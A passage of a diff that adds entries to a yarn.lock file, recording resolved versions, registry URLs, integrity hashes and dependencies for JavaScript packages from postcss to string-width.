+  integrity sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==
+  dependencies:
+    cssesc "^3.0.0"
+    util-deprecate "^1.0.2"
+
+postcss-value-parser@^4.0.0, postcss-value-parser@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
+  integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
+
+postcss@8.4.31:
+  version "8.4.31"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.31.tgz#92b451050a9f914da6755af352bdc0192508656d"
+  integrity sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==
+  dependencies:
+    nanoid "^3.3.6"
+    picocolors "^1.0.0"
+    source-map-js "^1.0.2"
+
+postcss@^8.4.23, postcss@^8.4.31:
+  version "8.4.47"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.47.tgz#5bf6c9a010f3e724c503bf03ef7947dcb0fea365"
+  integrity sha512-56rxCq7G/XfB4EkXq9Egn5GCqugWvDFjafDOThIdMBsI15iqPqR5r15TfSr1YPYeEI19YeaXMCbY6u88Y76GLQ==
+  dependencies:
+    nanoid "^3.3.7"
+    picocolors "^1.1.0"
+    source-map-js "^1.2.1"
+
+prelude-ls@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
+  integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==
+
+prettier@^3.3.3:
+  version "3.3.3"
+  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.3.3.tgz#30c54fe0be0d8d12e6ae61dbb10109ea00d53105"
+  integrity sha512-i2tDNA0O5IrMO757lfrdQZCc2jPNDVntV0m/+4whiDfWaTKfMNgR7Qz0NAeGz/nRqF4m5/6CLzbP4/liHt12Ew==
+
+pretty-format@^29.3.1:
+  version "29.7.0"
+  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-29.7.0.tgz#ca42c758310f365bfa71a0bda0a807160b776812"
+  integrity sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==
+  dependencies:
+    "@jest/schemas" "^29.6.3"
+    ansi-styles "^5.0.0"
+    react-is "^18.0.0"
+
+prop-types@^15.8.1:
+  version "15.8.1"
+  resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.8.1.tgz#67d87bf1a694f48435cf332c24af10214a3140b5"
+  integrity sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==
+  dependencies:
+    loose-envify "^1.4.0"
+    object-assign "^4.1.1"
+    react-is "^16.13.1"
+
+proxy-from-env@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz#e102f16ca355424865755d2c9e8ea4f24d58c3e2"
+  integrity sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==
+
+punycode@^2.1.0:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5"
+  integrity sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==
+
+queue-microtask@^1.2.2:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
+  integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
+
+re-resizable@^6.9.16:
+  version "6.10.0"
+  resolved "https://registry.yarnpkg.com/re-resizable/-/re-resizable-6.10.0.tgz#d684a096ab438f1a93f59ad3a580a206b0ce31ee"
+  integrity sha512-hysSK0xmA5nz24HBVztlk4yCqCLCvS32E6ZpWxVKop9x3tqCa4yAj1++facrmkOf62JsJHjmjABdKxXofYioCw==
+
+react-dom@19.2.3:
+  version "19.2.3"
+  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-19.2.3.tgz#f0b61d7e5c4a86773889fcc1853af3ed5f215b17"
+  integrity sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==
+  dependencies:
+    scheduler "^0.27.0"
+
+react-is@^16.13.1:
+  version "16.13.1"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
+  integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
+
+react-is@^18.0.0:
+  version "18.3.1"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-18.3.1.tgz#e83557dc12eae63a99e003a46388b1dcbb44db7e"
+  integrity sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==
+
+react@19.2.3:
+  version "19.2.3"
+  resolved "https://registry.yarnpkg.com/react/-/react-19.2.3.tgz#d83e5e8e7a258cf6b4fe28640515f99b87cd19b8"
+  integrity sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==
+
+read-cache@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/read-cache/-/read-cache-1.0.0.tgz#e664ef31161166c9751cdbe8dbcf86b5fb58f774"
+  integrity sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==
+  dependencies:
+    pify "^2.3.0"
+
+readdirp@~3.6.0:
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7"
+  integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==
+  dependencies:
+    picomatch "^2.2.1"
+
+reflect.getprototypeof@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.6.tgz#3ab04c32a8390b770712b7a8633972702d278859"
+  integrity sha512-fmfw4XgoDke3kdI6h4xcUz1dG8uaiv5q9gcEwLS4Pnth2kxT+GZ7YehS1JTMGBQmtV7Y4GFGbs2re2NqhdozUg==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.1"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.4"
+    globalthis "^1.0.3"
+    which-builtin-type "^1.1.3"
+
+reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz#c629219e78a3316d8b604c765ef68996964e7bf9"
+  integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.1"
+    which-builtin-type "^1.2.1"
+
+regenerator-runtime@^0.14.0:
+  version "0.14.1"
+  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz#356ade10263f685dda125100cd862c1db895327f"
+  integrity sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==
+
+regexp.prototype.flags@^1.5.1, regexp.prototype.flags@^1.5.2:
+  version "1.5.2"
+  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.2.tgz#138f644a3350f981a858c44f6bb1a61ff59be334"
+  integrity sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw==
+  dependencies:
+    call-bind "^1.0.6"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    set-function-name "^2.0.1"
+
+regexp.prototype.flags@^1.5.3, regexp.prototype.flags@^1.5.4:
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19"
+  integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    set-function-name "^2.0.2"
+
+require-directory@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
+  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+resolve-pkg-maps@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz#616b3dc2c57056b5588c31cdf4b3d64db133720f"
+  integrity sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==
+
+resolve@^1.1.7, resolve@^1.22.2, resolve@^1.22.4:
+  version "1.22.8"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.8.tgz#b6c87a9f2aa06dfab52e3d70ac8cde321fa5a48d"
+  integrity sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==
+  dependencies:
+    is-core-module "^2.13.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+resolve@^2.0.0-next.5:
+  version "2.0.0-next.5"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-2.0.0-next.5.tgz#6b0ec3107e671e52b68cd068ef327173b90dc03c"
+  integrity sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==
+  dependencies:
+    is-core-module "^2.13.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+reusify@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
+  integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
+
+rimraf@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+  dependencies:
+    glob "^7.1.3"
+
+run-parallel@^1.1.9:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
+  integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
+  dependencies:
+    queue-microtask "^1.2.2"
+
+rxjs@^7.0.0, rxjs@^7.8.1:
+  version "7.8.1"
+  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-7.8.1.tgz#6f6f3d99ea8044291efd92e7c7fcf562c4057543"
+  integrity sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==
+  dependencies:
+    tslib "^2.1.0"
+
+safe-array-concat@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.2.tgz#81d77ee0c4e8b863635227c721278dd524c20edb"
+  integrity sha512-vj6RsCsWBCf19jIeHEfkRMw8DPiBb+DMXklQ/1SGDHOMlHdPUkZXFQ2YdplS23zESTijAcurb1aSgJA3AgMu1Q==
+  dependencies:
+    call-bind "^1.0.7"
+    get-intrinsic "^1.2.4"
+    has-symbols "^1.0.3"
+    isarray "^2.0.5"
+
+safe-array-concat@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz#c9e54ec4f603b0bbb8e7e5007a5ee7aecd1538c3"
+  integrity sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    has-symbols "^1.1.0"
+    isarray "^2.0.5"
+
+safe-push-apply@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz#01850e981c1602d398c85081f360e4e6d03d27f5"
+  integrity sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==
+  dependencies:
+    es-errors "^1.3.0"
+    isarray "^2.0.5"
+
+safe-regex-test@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.0.3.tgz#a5b4c0f06e0ab50ea2c395c14d8371232924c377"
+  integrity sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw==
+  dependencies:
+    call-bind "^1.0.6"
+    es-errors "^1.3.0"
+    is-regex "^1.1.4"
+
+safe-regex-test@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz#7f87dfb67a3150782eaaf18583ff5d1711ac10c1"
+  integrity sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-regex "^1.2.1"
+
+scheduler@^0.27.0:
+  version "0.27.0"
+  resolved "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz#0c4ef82d67d1e5c1e359e8fc76d3a87f045fe5bd"
+  integrity sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==
+
+semver@^6.3.1:
+  version "6.3.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
+semver@^7.6.0, semver@^7.6.3:
+  version "7.6.3"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.3.tgz#980f7b5550bc175fb4dc09403085627f9eb33143"
+  integrity sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==
+
+semver@^7.7.2:
+  version "7.7.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.2.tgz#67d99fdcd35cec21e6f8b87a7fd515a33f982b58"
+  integrity sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==
+
+set-function-length@^1.2.1, set-function-length@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+
+set-function-name@^2.0.1, set-function-name@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985"
+  integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    functions-have-names "^1.2.3"
+    has-property-descriptors "^1.0.2"
+
+set-proto@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/set-proto/-/set-proto-1.0.0.tgz#0760dbcff30b2d7e801fd6e19983e56da337565e"
+  integrity sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+
+sharp@^0.34.3:
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/sharp/-/sharp-0.34.3.tgz#10a03bcd15fb72f16355461af0b9245ccb8a5da3"
+  integrity sha512-eX2IQ6nFohW4DbvHIOLRB3MHFpYqaqvXd3Tp5e/T/dSH83fxaNJQRvDMhASmkNTsNTVF2/OOopzRCt7xokgPfg==
+  dependencies:
+    color "^4.2.3"
+    detect-libc "^2.0.4"
+    semver "^7.7.2"
+  optionalDependencies:
+    "@img/sharp-darwin-arm64" "0.34.3"
+    "@img/sharp-darwin-x64" "0.34.3"
+    "@img/sharp-libvips-darwin-arm64" "1.2.0"
+    "@img/sharp-libvips-darwin-x64" "1.2.0"
+    "@img/sharp-libvips-linux-arm" "1.2.0"
+    "@img/sharp-libvips-linux-arm64" "1.2.0"
+    "@img/sharp-libvips-linux-ppc64" "1.2.0"
+    "@img/sharp-libvips-linux-s390x" "1.2.0"
+    "@img/sharp-libvips-linux-x64" "1.2.0"
+    "@img/sharp-libvips-linuxmusl-arm64" "1.2.0"
+    "@img/sharp-libvips-linuxmusl-x64" "1.2.0"
+    "@img/sharp-linux-arm" "0.34.3"
+    "@img/sharp-linux-arm64" "0.34.3"
+    "@img/sharp-linux-ppc64" "0.34.3"
+    "@img/sharp-linux-s390x" "0.34.3"
+    "@img/sharp-linux-x64" "0.34.3"
+    "@img/sharp-linuxmusl-arm64" "0.34.3"
+    "@img/sharp-linuxmusl-x64" "0.34.3"
+    "@img/sharp-wasm32" "0.34.3"
+    "@img/sharp-win32-arm64" "0.34.3"
+    "@img/sharp-win32-ia32" "0.34.3"
+    "@img/sharp-win32-x64" "0.34.3"
+
+shebang-command@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
+  dependencies:
+    shebang-regex "^3.0.0"
+
+shebang-regex@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
+
+shell-quote@^1.7.3:
+  version "1.8.1"
+  resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.8.1.tgz#6dbf4db75515ad5bac63b4f1894c3a154c766680"
+  integrity sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==
+
+side-channel-list@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad"
+  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+
+side-channel-map@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42"
+  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+
+side-channel-weakmap@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea"
+  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+    side-channel-map "^1.0.1"
+
+side-channel@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.6.tgz#abd25fb7cd24baf45466406b1096b7831c9215f2"
+  integrity sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==
+  dependencies:
+    call-bind "^1.0.7"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.4"
+    object-inspect "^1.13.1"
+
+side-channel@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9"
+  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+    side-channel-list "^1.0.0"
+    side-channel-map "^1.0.1"
+    side-channel-weakmap "^1.0.2"
+
+signal-exit@^4.0.1:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-4.1.0.tgz#952188c1cbd546070e2dd20d0f41c0ae0530cb04"
+  integrity sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==
+
+simple-swizzle@^0.2.2:
+  version "0.2.2"
+  resolved "https://registry.yarnpkg.com/simple-swizzle/-/simple-swizzle-0.2.2.tgz#a4da6b635ffcccca33f70d17cb92592de95e557a"
+  integrity sha512-JA//kQgZtbuY83m+xT+tXJkmJncGMTFT+C+g2h2R9uxkYIrE2yy9sgmcLhCnw57/WSD+Eh3J97FPEDFnbXnDUg==
+  dependencies:
+    is-arrayish "^0.3.1"
+
+source-map-js@^1.0.2, source-map-js@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.2.1.tgz#1ce5650fddd87abc099eda37dcff024c2667ae46"
+  integrity sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==
+
+spawn-command@^0.0.2-1:
+  version "0.0.2"
+  resolved "https://registry.yarnpkg.com/spawn-command/-/spawn-command-0.0.2.tgz#9544e1a43ca045f8531aac1a48cb29bdae62338e"
+  integrity sha512-zC8zGoGkmc8J9ndvml8Xksr1Amk9qBujgbF0JAIWO7kXr43w0h/0GJNM/Vustixu+YE8N/MTrQ7N31FvHUACxQ==
+
+state-local@^1.0.6:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/state-local/-/state-local-1.0.7.tgz#da50211d07f05748d53009bee46307a37db386d5"
+  integrity sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==
+
+stop-iteration-iterator@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz#6a60be0b4ee757d1ed5254858ec66b10c49285e4"
+  integrity sha512-iCGQj+0l0HOdZ2AEeBADlsRC+vsnDsZsbdSiH1yNSjcfKM7fdpCMfqAL/dwF5BLiw/XhRft/Wax6zQbhq2BcjQ==
+  dependencies:
+    internal-slot "^1.0.4"
+
+stop-iteration-iterator@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz#f481ff70a548f6124d0312c3aa14cbfa7aa542ad"
+  integrity sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==
+  dependencies:
+    es-errors "^1.3.0"
+    internal-slot "^1.1.0"
+
+"string-width-cjs@npm:string-width@^4.2.0":
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+string-width@^5.0.1, string-width@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-5.1.2.tgz#14f8daec6d81e7221d2a357e668cab73bdbca794"
